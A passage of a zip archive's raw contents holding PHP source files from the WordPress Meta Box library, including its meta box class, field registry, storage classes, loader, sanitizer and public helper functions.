		wp_enqueue_style( 'rwmb', RWMB_CSS_URL . 'style.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb', 'path', RWMB_CSS_DIR . 'style.css' );
		if ( is_rtl() ) {
			wp_enqueue_style( 'rwmb-rtl', RWMB_CSS_URL . 'style-rtl.css', [], RWMB_VER );
			wp_style_add_data( 'rwmb-rtl', 'path', RWMB_CSS_DIR . 'style-rtl.css' );
		}

		wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', [ 'jquery' ], RWMB_VER, true );

		// Load clone script conditionally.
		foreach ( $this->fields as $field ) {
			if ( $field['clone'] ) {
				wp_enqueue_script( 'rwmb-clone', RWMB_JS_URL . 'clone.js', [ 'jquery-ui-sortable' ], RWMB_VER, true );
				break;
			}
		}

		// Enqueue scripts and styles for fields.
		foreach ( $this->fields as $field ) {
			RWMB_Field::call( $field, 'admin_enqueue_scripts' );
		}

		// Auto save.
		if ( $this->autosave ) {
			wp_enqueue_script( 'rwmb-autosave', RWMB_JS_URL . 'autosave.js', [ 'jquery' ], RWMB_VER, true );
		}

		/**
		 * Allow developers to enqueue more scripts and styles
		 *
		 * @param RW_Meta_Box $object Meta Box object
		 */
		do_action( 'rwmb_enqueue_scripts', $this );
	}

	private function is_gutenberg_screen() : bool {
		$screen = get_current_screen();

		return in_array( $screen->base, [ 'site-editor', 'widgets' ] );
	}

	/**
	 * Add meta box for multiple post types
	 */
	public function add_meta_boxes() {
		$screen = get_current_screen();
		add_filter( "postbox_classes_{$screen->id}_{$this->id}", [ $this, 'postbox_classes' ] );

		foreach ( $this->post_types as $post_type ) {
			add_meta_box(
				$this->id,
				$this->title,
				[ $this, 'show' ],
				$post_type,
				$this->context,
				$this->priority
			);
		}
	}

	public function postbox_classes( array $classes ) : array {
		if ( $this->closed ) {
			$classes[] = 'closed';
		}
		$classes[] = "rwmb-{$this->style}";

		return $classes;
	}

	public function hide( array $hidden, $screen ) : array {
		if ( $this->is_edit_screen( $screen ) && $this->default_hidden ) {
			$hidden[] = $this->id;
		}

		return $hidden;
	}

	public function show() {
		if ( null === $this->object_id ) {
			$this->object_id = $this->get_current_object_id();
		}
		$saved = $this->is_saved();

		// Container.
		printf(
			'<div class="%s" data-autosave="%s" data-object-type="%s" data-object-id="%s">',
			esc_attr( trim( "rwmb-meta-box {$this->class}" ) ),
			esc_attr( $this->autosave ? 'true' : 'false' ),
			esc_attr( $this->object_type ),
			esc_attr( $this->object_id )
		);

		wp_nonce_field( "rwmb-save-{$this->id}", "nonce_{$this->id}" );

		// Allow users to add custom code before meta box content.
		// 1st action applies to all meta boxes.
		// 2nd action applies to only current meta box.
		do_action( 'rwmb_before', $this );
		do_action( "rwmb_before_{$this->id}", $this );

		foreach ( $this->fields as $field ) {
			RWMB_Field::call( 'show', $field, $saved, $this->object_id );
		}

		// Allow users to add custom code after meta box content.
		// 1st action applies to all meta boxes.
		// 2nd action applies to only current meta box.
		do_action( 'rwmb_after', $this );
		do_action( "rwmb_after_{$this->id}", $this );

		// End container.
		echo '</div>';
	}

	/**
	 * Save data from meta box
	 *
	 * @param int $object_id Object ID.
	 */
	public function save_post( $object_id ) {
		if ( ! $this->validate() ) {
			return;
		}
		$this->saved = true;

		$object_id       = $this->get_real_object_id( $object_id );
		$this->object_id = $object_id;

		// Before save action.
		do_action( 'rwmb_before_save_post', $object_id );
		do_action( "rwmb_{$this->id}_before_save_post", $object_id );

		array_map( [ $this, 'save_field' ], $this->fields );

		// After save action.
		do_action( 'rwmb_after_save_post', $object_id );
		do_action( "rwmb_{$this->id}_after_save_post", $object_id );
	}

	public function save_field( array $field ) {
		$single  = $field['clone'] || ! $field['multiple'];
		$default = $single ? '' : [];
		$old     = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
		$new     = rwmb_request()->post( $field['id'], $default );
		$new     = RWMB_Field::process_value( $new, $this->object_id, $field );

		// Filter to allow the field to be modified.
		$field = RWMB_Field::filter( 'field', $field, $field, $new, $old );

		// Call defined method to save meta value, if there's no methods, call common one.
		RWMB_Field::call( $field, 'save', $new, $old, $this->object_id );

		RWMB_Field::filter( 'after_save_field', null, $field, $new, $old, $this->object_id );

		$mobile_field = isset($field['mobile']) && $field['mobile'] ? $field : '';
		if ( $mobile_field ) {
			$mobile_field['id'] = $field['id'].'_mobile';
			$mobile_field['field_name'] = $field['field_name'].'_mobile';

			$old_m     = RWMB_Field::call( $mobile_field, 'raw_meta', $this->object_id );
			$new_m     = rwmb_request()->post( $mobile_field['id'], $default );
			$new_m     = RWMB_Field::process_value( $new_m, $this->object_id, $mobile_field );

			// Filter to allow the field to be modified.
			$field = RWMB_Field::filter( 'field', $mobile_field, $mobile_field, $new_m, $old_m );

			// Call defined method to save meta value, if there's no methods, call common one.
			RWMB_Field::call( $mobile_field, 'save', $new_m, $old_m, $this->object_id );

			RWMB_Field::filter( 'after_save_field', null, $mobile_field, $new_m, $old_m, $this->object_id );

		}
	}

	public function validate() : bool {
		$nonce = rwmb_request()->filter_post( "nonce_{$this->id}" );

		return ! $this->saved
			&& ( ! defined( 'DOING_AUTOSAVE' ) || $this->autosave )
			&& wp_verify_nonce( $nonce, "rwmb-save-{$this->id}" );
	}

	public static function normalize( $meta_box ) {
		$default_title = __( 'Meta Box Title', 'meta-box' );
		$meta_box      = wp_parse_args( $meta_box, [
			'title'          => $default_title,
			'id'             => ! empty( $meta_box['title'] ) ? sanitize_title( $meta_box['title'] ) : sanitize_title( $default_title ),
			'context'        => 'normal',
			'priority'       => 'high',
			'post_types'     => 'post',
			'autosave'       => false,
			'default_hidden' => false,
			'style'          => 'default',
			'class'          => '',
			'fields'         => [],
		] );

		/**
		 * Use 'post_types' for better understanding and fallback to 'pages' for previous versions.
		 * @since 4.4.1
		 */
		Arr::change_key( $meta_box, 'pages', 'post_types' );

		// Make sure the post type is an array and is sanitized.
		$meta_box['post_types'] = array_filter( array_map( 'sanitize_key', Arr::from_csv( $meta_box['post_types'] ) ) );

		return $meta_box;
	}

	public static function normalize_fields( array $fields, $storage = null ) : array {
		foreach ( $fields as $k => $field ) {
			$field = RWMB_Field::call( 'normalize', $field );

			// Allow to add default values for fields.
			$field = apply_filters( 'rwmb_normalize_field', $field );
			$field = apply_filters( "rwmb_normalize_{$field['type']}_field", $field );
			$field = apply_filters( "rwmb_normalize_{$field['id']}_field", $field );

			$field['storage'] = $storage;

			$fields[ $k ] = $field;
		}

		return $fields;
	}

	/**
	 * Check if meta box is saved before.
	 * This helps to save empty value in meta fields (text, check box, etc.) and set the correct default values.
	 */
	public function is_saved() {
		foreach ( $this->fields as $field ) {
			if ( empty( $field['id'] ) ) {
				continue;
			}

			$value = RWMB_Field::call( $field, 'raw_meta', $this->object_id );
			if ( false === $value ) {
				continue;
			}

			$single = ! $field['multiple'];
			if ( $field['clone'] ) {
				$single = ! $field['clone_as_multiple'];
			}

			if (
				( $single && '' !== $value )
				|| ( ! $single && is_array( $value ) && [] !== $value )
			) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Check if we're on the right edit screen.
	 *
	 * @param ?WP_Screen $screen Screen object.
	 */
	public function is_edit_screen( $screen = null ) {
		if ( ! ( $screen instanceof WP_Screen ) ) {
			$screen = get_current_screen();
		}

		return in_array( $screen->base, [ 'post', 'upload' ], true ) && in_array( $screen->post_type, $this->post_types, true );
	}

	public function __get( string $key ) {
		return $this->meta_box[ $key ] ?? false;
	}

	/**
	 * Set the object ID.
	 *
	 * @param mixed $id Object ID.
	 */
	public function set_object_id( $id = null ) {
		$this->object_id = $id;
	}

	public function get_object_type() : string {
		return $this->object_type;
	}

	/**
	 * Get storage object.
	 *
	 * @return RWMB_Storage_Interface
	 */
	public function get_storage() {
		return rwmb_get_storage( $this->object_type, $this );
	}

	/**
	 * Get current object id.
	 *
	 * @return int
	 */
	protected function get_current_object_id() {
		return get_the_ID();
	}

	/**
	 * Get real object ID when submitting.
	 *
	 * @param int $object_id Object ID.
	 * @return int
	 */
	protected function get_real_object_id( $object_id ) {
		// Make sure meta is added to the post, not a revision.
		if ( 'post' !== $this->object_type ) {
			return $object_id;
		}
		$parent = wp_is_post_revision( $object_id );

		return $parent ?: $object_id;
	}
}
PK     N\l㮇    1  inc/dashboard/lib/meta-box/inc/field-registry.phpnu [        <?php
/**
 * A registry for storing all fields.
 *
 * @link https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
 */
class RWMB_Field_Registry {
	private $data = [];

	/**
	 * Add a single field to the registry.
	 *
	 * @param array  $field       Field configuration.
	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
	 * @param string $object_type Object type which the field belongs to.
	 */
	public function add( array $field, string $type, string $object_type = 'post' ) {
		if ( ! isset( $field['id'] ) ) {
			return;
		}

		if ( empty( $this->data[ $object_type ] ) ) {
			$this->data[ $object_type ] = [];
		}
		if ( empty( $this->data[ $object_type ][ $type ] ) ) {
			$this->data[ $object_type ][ $type ] = [];
		}
		$this->data[ $object_type ][ $type ][ $field['id'] ] = $field;

		do_action( 'rwmb_field_registered', $field, $type, $object_type );
	}

	/**
	 * Retrieve a field.
	 *
	 * @param string $id          A meta box instance id.
	 * @param string $type        Post type|Taxonomy|'user'|Setting page which the field belongs to.
	 * @param string $object_type Object type which the field belongs to.
	 *
	 * @return bool|array False or field configuration.
	 */
	public function get( $id, $type, $object_type = 'post' ) {
		return $this->data[ $object_type ][ $type ][ $id ] ?? false;
	}

	/**
	 * Retrieve fields by object type.
	 *
	 * @param string $object_type Object type which the field belongs to.
	 *
	 * @return array List of fields.
	 */
	public function get_by_object_type( string $object_type = 'post' ) : array {
		return $this->data[ $object_type ] ?? [];
	}
}
PK     N\Eĸ      0  inc/dashboard/lib/meta-box/inc/storages/post.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Post storage
 *
 * @package Meta Box
 */

/**
 * Class RWMB_Post_Storage
 */
class RWMB_Post_Storage extends RWMB_Base_Storage {

	/**
	 * Object type.
	 *
	 * @var string
	 */
	protected $object_type = 'post';
}
PK     N\N@  @  0  inc/dashboard/lib/meta-box/inc/storages/base.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Base storage.
 */
class RWMB_Base_Storage implements RWMB_Storage_Interface {
	/**
	 * Object type.
	 *
	 * @var string
	 */
	protected $object_type;

	/**
	 * Retrieve metadata for the specified object.
	 *
	 * @param int        $object_id ID of the object metadata is for.
	 * @param string     $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
	 *                              the specified object.
	 * @param bool|array $args      Optional, default is false.
	 *                              If true, return only the first value of the specified meta_key.
	 *                              If is array, use the `single` element.
	 *                              This parameter has no effect if meta_key is not specified.
	 * @return mixed Single metadata value, or array of values.
	 *
	 * @see get_metadata()
	 */
	public function get( $object_id, $meta_key, $args = false ) {
		if ( is_array( $args ) ) {
			$single = ! empty( $args['single'] );
		} else {
			$single = (bool) $args;
		}

		return get_metadata( $this->object_type, $object_id, $meta_key, $single );
	}

	/**
	 * Add metadata
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool   $unique     Optional, default is false.
	 *                           Whether the specified metadata key should be unique for the object.
	 *                           If true, and the object already has a value for the specified metadata key,
	 *                           no change will be made.
	 * @return int|false The meta ID on success, false on failure.
	 *
	 * @see add_metadata()
	 */
	public function add( $object_id, $meta_key, $meta_value, $unique = false ) {
		return add_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $unique );
	}

	/**
	 * Update metadata.
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param mixed  $prev_value Optional. If specified, only update existing metadata entries with
	 *                           the specified value. Otherwise, update all entries.
	 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
	 *
	 * @see update_metadata()
	 */
	public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) {
		return update_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $prev_value );
	}

	/**
	 * Delete metadata.
	 *
	 * @param int    $object_id  ID of the object metadata is for.
	 * @param string $meta_key   Metadata key.
	 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete
	 *                           metadata entries with this value. Otherwise, delete all entries with the specified meta_key.
	 *                           Pass `null, `false`, or an empty string to skip this check. (For backward compatibility,
	 *                           it is not possible to pass an empty string to delete those entries with an empty string
	 *                           for a value).
	 * @param bool   $delete_all Optional, default is false. If true, delete matching metadata entries for all objects,
	 *                           ignoring the specified object_id. Otherwise, only delete matching metadata entries for
	 *                           the specified object_id.
	 * @return bool True on successful delete, false on failure.
	 *
	 * @see delete_metadata()
	 */
	public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
		return delete_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $delete_all );
	}
}
PK     N\    )  inc/dashboard/lib/meta-box/inc/loader.phpnu [        <?php
/**
 * Load plugin's files with check for installing it as a standalone plugin or
 * a module of a theme / plugin. If standalone plugin is already installed, it
 * will take higher priority.
 */
class RWMB_Loader {
	protected function constants() {
		// Script version, used to add version for scripts and styles.
		define( 'RWMB_VER', '5.9.7' );

		list( $path, $url ) = self::get_path( dirname( __DIR__ ) );

		// Plugin URLs, for fast enqueuing scripts and styles.
		define( 'RWMB_URL', $url );
		define( 'RWMB_JS_URL', trailingslashit( RWMB_URL . 'js' ) );
		define( 'RWMB_CSS_URL', trailingslashit( RWMB_URL . 'css' ) );

		// Plugin paths, for including files.
		define( 'RWMB_DIR', $path );
		define( 'RWMB_INC_DIR', trailingslashit( RWMB_DIR . 'inc' ) );
		define( 'RWMB_CSS_DIR', trailingslashit( RWMB_DIR . 'css' ) );
	}

	/**
	 * Get plugin base path and URL.
	 * The method is static and can be used in extensions.
	 *
	 * @link https://deluxeblogtips.com/get-url-of-php-file-in-wordpress/
	 * @param string $path Base folder path.
	 * @return array Path and URL.
	 */
	public static function get_path( string $path = '' ): array {
		// Plugin base path.
		$path       = wp_normalize_path( untrailingslashit( $path ) );
		$themes_dir = wp_normalize_path( untrailingslashit( dirname( get_stylesheet_directory() ) ) );

		// Default URL.
		$url = plugins_url( '', $path . '/' . basename( $path ) . '.php' );

		// Included into themes.
		if (
			! str_starts_with( $path, wp_normalize_path( WP_PLUGIN_DIR ) )
			&& ! str_starts_with( $path, wp_normalize_path( WPMU_PLUGIN_DIR ) )
			&& str_starts_with( $path, $themes_dir )
		) {
			$themes_url = untrailingslashit( dirname( get_stylesheet_directory_uri() ) );
			$url        = str_replace( $themes_dir, $themes_url, $path );
		}

		$path = trailingslashit( $path );
		$url  = trailingslashit( $url );

		return [ $path, $url ];
	}

	/**
	 * Bootstrap the plugin.
	 */
	public function init() {
		$this->constants();

		// PSR-4 autoload.
		$psr4_autoload = dirname( __DIR__ ) . '/vendor/autoload.php';
		if ( file_exists( $psr4_autoload ) ) {
			require $psr4_autoload;
		}

		// Register autoload for classes.
		require_once RWMB_INC_DIR . 'autoloader.php';
		$autoloader = new RWMB_Autoloader();
		$autoloader->add( RWMB_INC_DIR, 'RW_' );
		$autoloader->add( RWMB_INC_DIR, 'RWMB_' );
		$autoloader->add( RWMB_INC_DIR . 'about', 'RWMB_' );
		$autoloader->add( RWMB_INC_DIR . 'fields', 'RWMB_', '_Field' );
		$autoloader->add( RWMB_INC_DIR . 'walkers', 'RWMB_Walker_' );
		$autoloader->add( RWMB_INC_DIR . 'interfaces', 'RWMB_', '_Interface' );
		$autoloader->add( RWMB_INC_DIR . 'storages', 'RWMB_', '_Storage' );
		$autoloader->add( RWMB_INC_DIR . 'helpers', 'RWMB_Helpers_' );
		$autoloader->add( RWMB_INC_DIR . 'update', 'RWMB_Update_' );
		$autoloader->register();

		// Plugin core.
		$core = new RWMB_Core();
		$core->init();

		$shortcode = new RWMB_Shortcode();
		$shortcode->init();

		// Validation module.
		new RWMB_Validation();

		$sanitizer = new RWMB_Sanitizer();
		$sanitizer->init();

		$media_modal = new RWMB_Media_Modal();
		$media_modal->init();

		// WPML Compatibility.
		$wpml = new RWMB_WPML();
		$wpml->init();

		// Update.
		$update_option  = new \MetaBox\Updater\Option();
		$update_checker = new \MetaBox\Updater\Checker( $update_option );
		$update_checker->init();
		$update_settings = new \MetaBox\Updater\Settings( $update_checker, $update_option );
		$update_settings->init();
		$update_notification = new \MetaBox\Updater\Notification( $update_checker, $update_option );
		$update_notification->init();

		// Register categories for page builders.
		new \MetaBox\Integrations\Block();
		new \MetaBox\Integrations\Bricks;
		new \MetaBox\Integrations\Elementor;
		new \MetaBox\Integrations\Oxygen();

		if ( is_admin() ) {
			$about = new RWMB_About( $update_checker );
			$about->init();
		}

		// Public functions.
		require_once RWMB_INC_DIR . 'functions.php';
	}
}
PK     N\3,      ,  inc/dashboard/lib/meta-box/inc/sanitizer.phpnu [        <?php
/**
 * Sanitize field value before saving.
 */
class RWMB_Sanitizer {
	public function init() {
		add_filter( 'rwmb_sanitize', [ $this, 'sanitize' ], 10, 4 );
	}

	/**
	 * Sanitize a field value.
	 *
	 * @param mixed $value     The submitted new value.
	 * @param array $field     The field settings.
	 * @param mixed $old_value The old field value in the database.
	 * @param int   $object_id The object ID.
	 */
	public function sanitize( $value, $field, $old_value = null, $object_id = null ) {
		// Allow developers to bypass the sanitization.
		if ( 'none' === $field['sanitize_callback'] ) {
			return $value;
		}

		$callback = $this->get_callback( $field );

		return is_callable( $callback ) ? call_user_func( $callback, $value, $field, $old_value, $object_id ) : $value;
	}

	/**
	 * Get sanitize callback for a field.
	 *
	 * @param  array $field Field settings.
	 * @return callable
	 */
	private function get_callback( $field ) {
		// User-defined callback.
		if ( is_callable( $field['sanitize_callback'] ) ) {
			return $field['sanitize_callback'];
		}

		$callbacks = [
			'autocomplete'      => [ $this, 'sanitize_choice' ],
			'background'        => [ $this, 'sanitize_background' ],
			'button_group'      => [ $this, 'sanitize_choice' ],
			'checkbox'          => [ $this, 'sanitize_checkbox' ],
			'checkbox_list'     => [ $this, 'sanitize_choice' ],
			'color'             => [ $this, 'sanitize_color' ],
			'date'              => [ $this, 'sanitize_datetime' ],
			'datetime'          => [ $this, 'sanitize_datetime' ],
			'email'             => 'sanitize_email',
			'fieldset_text'     => [ $this, 'sanitize_text' ],
			'file'              => [ $this, 'sanitize_file' ],
			'file_advanced'     => [ $this, 'sanitize_object' ],
			'file_input'        => [ $this, 'sanitize_url' ],
			'file_upload'       => [ $this, 'sanitize_object' ],
			'hidden'            => 'sanitize_text_field',
			'image'             => [ $this, 'sanitize_file' ],
			'image_advanced'    => [ $this, 'sanitize_object' ],
			'image_select'      => [ $this, 'sanitize_choice' ],
			'image_upload'      => [ $this, 'sanitize_object' ],
			'key_value'         => [ $this, 'sanitize_text' ],
			'map'               => [ $this, 'sanitize_map' ],
			'number'            => [ $this, 'sanitize_number' ],
			'oembed'            => [ $this, 'sanitize_url' ],
			'osm'               => [ $this, 'sanitize_map' ],
			'password'          => 'sanitize_text_field',
			'post'              => [ $this, 'sanitize_object' ],
			'radio'             => [ $this, 'sanitize_choice' ],
			'range'             => [ $this, 'sanitize_number' ],
			'select'            => [ $this, 'sanitize_choice' ],
			'select_advanced'   => [ $this, 'sanitize_choice' ],
			'sidebar'           => [ $this, 'sanitize_text' ],
			'single_image'      => 'absint',
			'slider'            => [ $this, 'sanitize_slider' ],
			'switch'            => [ $this, 'sanitize_checkbox' ],
			'taxonomy'          => [ $this, 'sanitize_object' ],
			'taxonomy_advanced' => [ $this, 'sanitize_taxonomy_advanced' ],
			'text'              => 'sanitize_text_field',
			'text_list'         => [ $this, 'sanitize_text' ],
			'textarea'          => 'wp_kses_post',
			'time'              => 'sanitize_text_field',
			'url'               => [ $this, 'sanitize_url' ],
			'user'              => [ $this, 'sanitize_object' ],
			'video'             => [ $this, 'sanitize_object' ],
			'wysiwyg'           => 'wp_kses_post',
		];

		$type = $field['type'];

		return $callbacks[ $type ] ?? null;
	}

	/**
	 * Set the value of checkbox to 1 or 0 instead of 'checked' and empty string.
	 * This prevents using default value once the checkbox has been unchecked.
	 *
	 * @link https://github.com/rilwis/meta-box/issues/6
	 * @param string $value Checkbox value.
	 */
	private function sanitize_checkbox( $value ): int {
		return (int) ! empty( $value );
	}

	/**
	 * Sanitize numeric value.
	 *
	 * @param  string $value The number value.
	 * @return string
	 */
	private function sanitize_number( $value ) {
		return is_numeric( $value ) ? $value : '';
	}

	private function sanitize_color( string $value ): string {
		if ( str_contains( $value, 'hsl' ) ) {
			return wp_unslash( $value );
		}

		if ( ! str_contains( $value, 'rgb' ) ) {
			return (string) sanitize_hex_color( $value );
		}

		// rgba value.
		$red   = '';
		$green = '';
		$blue  = '';
		$alpha = 1;

		if ( str_contains( $value, 'rgba' ) ) {
			sscanf( $value, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
		} else {
			sscanf( $value, 'rgb(%d,%d,%d)', $red, $green, $blue );
		}

		return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')';
	}

	/**
	 * Sanitize value for a choice field.
	 *
	 * @param  string|array $value The submitted value.
	 * @param  array        $field The field settings.
	 * @return string|array
	 */
	private function sanitize_choice( $value, $field ) {
		$options = RWMB_Choice_Field::transform_options( $field['options'] );
		$options = wp_list_pluck( $options, 'value' );
		$value   = wp_unslash( $value );
		return is_array( $value ) ? array_intersect( $value, $options ) : ( in_array( $value, $options ) ? $value : '' );
	}

	/**
	 * Sanitize object & media field.
	 *
	 * @param  int|array $value The submitted value.
	 * @return int|array
	 */
	private function sanitize_object( $value ) {
		return is_array( $value ) ? array_filter( array_map( 'absint', $value ) ) : ( $value ? absint( $value ) : '' );
	}

	/**
	 * Sanitize background field.
	 *
	 * @param  array $value The submitted value.
	 * @return array
	 */
	private function sanitize_background( $value ) {
		$value          = wp_parse_args( $value, [
			'color'      => '',
			'image'      => '',
			'repeat'     => '',
			'attachment' => '',
			'position'   => '',
			'size'       => '',
		] );
		$value['color'] = $this->sanitize_color( $value['color'] );
		$value['image'] = esc_url_raw( $value['image'] );

		$value['repeat']     = in_array( $value['repeat'], [ 'no-repeat', 'repeat', 'repeat-x', 'repeat-y', 'inherit' ], true ) ? $value['repeat'] : '';
		$value['position']   = in_array( $value['position'], [ 'top left', 'top center', 'top right', 'center left', 'center center', 'center right', 'bottom left', 'bottom center', 'bottom right' ], true ) ? $value['position'] : '';
		$value['attachment'] = in_array( $value['attachment'], [ 'fixed', 'scroll', 'inherit' ], true ) ? $value['attachment'] : '';
		$value['size']       = in_array( $value['size'], [ 'inherit', 'cover', 'contain' ], true ) ? $value['size'] : '';

		return $value;
	}

	/**
	 * Sanitize text field.
	 *
	 * @param  string|array $value The submitted value.
	 * @return string|array
	 */
	private function sanitize_text( $value ) {
		return is_array( $value ) ? array_map( __METHOD__, $value ) : sanitize_text_field( $value );
	}

	/**
	 * Sanitize file, image field.
	 *
	 * @param  array $value The submitted value.
	 * @param  array $field The field settings.
	 * @return array
	 */
	private function sanitize_file( $value, $field ) {
		return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value );
	}

	/**
	 * Sanitize slider field.
	 *
	 * @param  mixed $value The submitted value.
	 * @param  array $field The field settings.
	 * @return string|int|float
	 */
	private function sanitize_slider( $value, $field ) {
		return true === $field['js_options']['range'] ? sanitize_text_field( $value ) : $this->sanitize_number( $value );
	}

	/**
	 * Sanitize datetime field.
	 *
	 * @param  mixed $value The submitted value.
	 * @param  array $field The field settings.
	 * @return float|string
	 */
	private function sanitize_datetime( $value, $field ) {
		return $field['timestamp'] ? (float) $value : sanitize_text_field( $value );
	}

	private function sanitize_map( $value ): string {
		$value                               = sanitize_text_field( $value );
		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );

		$latitude  = (float) $latitude;
		$longitude = (float) $longitude;
		$zoom      = (int) $zoom;

		return "$latitude,$longitude,$zoom";
	}

	private function sanitize_taxonomy_advanced( $value ): string {
		return implode( ',', wp_parse_id_list( $value ) );
	}

	private function sanitize_url( string $value ): string {
		return esc_url_raw( $value );
	}
}
PK     N\Yp%  %  ,  inc/dashboard/lib/meta-box/inc/functions.phpnu [        <?php
/**
 * Plugin public functions.
 */

if ( ! function_exists( 'rwmb_meta' ) ) {
	/**
	 * Get post meta.
	 *
	 * @param string   $key     Meta key. Required.
	 * @param array    $args    Array of arguments. Optional.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed
	 */
	function rwmb_meta( $key, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $key, $args, $post_id );

		/*
		 * If field is not found, which can caused by registering meta boxes for the backend only or conditional registration.
		 * Then fallback to the old method to retrieve meta (which uses get_post_meta() as the latest fallback).
		 */
		if ( false === $field ) {
			return apply_filters( 'rwmb_meta', rwmb_meta_legacy( $key, $args, $post_id ) );
		}
		$meta = in_array( $field['type'], [ 'oembed', 'map', 'osm' ], true ) ?
			rwmb_the_value( $key, $args, $post_id, false ) :
			rwmb_get_value( $key, $args, $post_id );
		return apply_filters( 'rwmb_meta', $meta, $key, $args, $post_id );
	}
}

if ( ! function_exists( 'rwmb_set_meta' ) ) {
	/**
	 * Set meta value.
	 *
	 * @param int    $object_id Object ID. Required.
	 * @param string $key       Meta key. Required.
	 * @param mixed  $value     Meta value. Required.
	 * @param array  $args      Array of arguments. Optional.
	 */
	function rwmb_set_meta( $object_id, $key, $value, $args = [] ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $key, $args, $object_id );

		if ( false === $field ) {
			return;
		}

		$old = RWMB_Field::call( $field, 'raw_meta', $object_id );
		$new = RWMB_Field::process_value( $value, $object_id, $field );

		RWMB_Field::call( $field, 'save', $new, $old, $object_id );

		// For MB Custom Table to flush data from the cache to the database.
		do_action( 'rwmb_flush_data', $object_id, $field, $args );
	}
}

if ( ! function_exists( 'rwmb_get_field_settings' ) ) {
	/**
	 * Get field settings.
	 *
	 * @param string   $key       Meta key. Required.
	 * @param array    $args      Array of arguments. Optional.
	 * @param int|null $object_id Object ID. null for current post. Optional.
	 *
	 * @return array
	 */
	function rwmb_get_field_settings( $key, $args = [], $object_id = null ) {
		$args = wp_parse_args( $args, [
			'object_type' => 'post',
			'type'        => '',
		] );

		/**
		 * Filter meta type from object type and object id.
		 *
		 * @var string       Meta type, default is post type name.
		 * @var string       Object type.
		 * @var ?string|?int Object id.
		 */
		$type = apply_filters( 'rwmb_meta_type', $args['type'], $args['object_type'], $object_id );
		if ( ! $type ) {
			$type = get_post_type( $object_id );
		}

		return rwmb_get_registry( 'field' )->get( $key, $type, $args['object_type'] );
	}
}

if ( ! function_exists( 'rwmb_meta_legacy' ) ) {
	/**
	 * Get post meta.
	 *
	 * @param string   $key     Meta key. Required.
	 * @param array    $args    Array of arguments. Optional.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed
	 */
	function rwmb_meta_legacy( $key, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args, [
			'type'     => 'text',
			'multiple' => false,
			'clone'    => false,
		] );
		$field = [
			'id'       => $key,
			'type'     => $args['type'],
			'clone'    => $args['clone'],
			'multiple' => $args['multiple'],
		];

		$method = 'get_value';
		switch ( $args['type'] ) {
			case 'taxonomy':
			case 'taxonomy_advanced':
				$field['taxonomy'] = $args['taxonomy'];
				break;
			case 'map':
			case 'osm':
			case 'oembed':
				$method = 'the_value';
				break;
		}
		$field = RWMB_Field::call( 'normalize', $field );

		return RWMB_Field::call( $method, $field, $args, $post_id );
	}
}

if ( ! function_exists( 'rwmb_get_value' ) ) {
	/**
	 * Get value of custom field.
	 * This is used to replace old version of rwmb_meta key.
	 *
	 * @param  string   $field_id Field ID. Required.
	 * @param  array    $args     Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id  Post ID. null for current post. Optional.
	 *
	 * @return mixed false if field doesn't exist. Field value otherwise.
	 */
	function rwmb_get_value( $field_id, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $field_id, $args, $post_id );

		// Get field value.
		$value = $field ? RWMB_Field::call( 'get_value', $field, $args, $post_id ) : false;

		/*
		 * Allow developers to change the returned value of field.
		 * For version < 4.8.2, the filter name was 'rwmb_get_field'.
		 *
		 * @param mixed    $value   Field value.
		 * @param array    $field   Field parameters.
		 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
		 * @param int|null $post_id Post ID. null for current post. Optional.
		 */
		$value = apply_filters( 'rwmb_get_value', $value, $field, $args, $post_id );

		return $value;
	}
}

if ( ! function_exists( 'rwmb_the_value' ) ) {
	/**
	 * Display the value of a field
	 *
	 * @param  string   $field_id Field ID. Required.
	 * @param  array    $args     Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id  Post ID. null for current post. Optional.
	 * @param  bool     $echo     Display field meta value? Default `true` which works in almost all cases. We use `false` for  the [rwmb_meta] shortcode.
	 *
	 * @return string
	 */
	function rwmb_the_value( $field_id, $args = [], $post_id = null, $echo = true ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $field_id, $args, $post_id );

		if ( ! $field ) {
			return '';
		}

		$output = RWMB_Field::call( 'the_value', $field, $args, $post_id );

		/*
		 * Allow developers to change the returned value of field.
		 * For version < 4.8.2, the filter name was 'rwmb_get_field'.
		 *
		 * @param mixed    $value   Field HTML output.
		 * @param array    $field   Field parameters.
		 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
		 * @param int|null $post_id Post ID. null for current post. Optional.
		 */
		$output = apply_filters( 'rwmb_the_value', $output, $field, $args, $post_id );

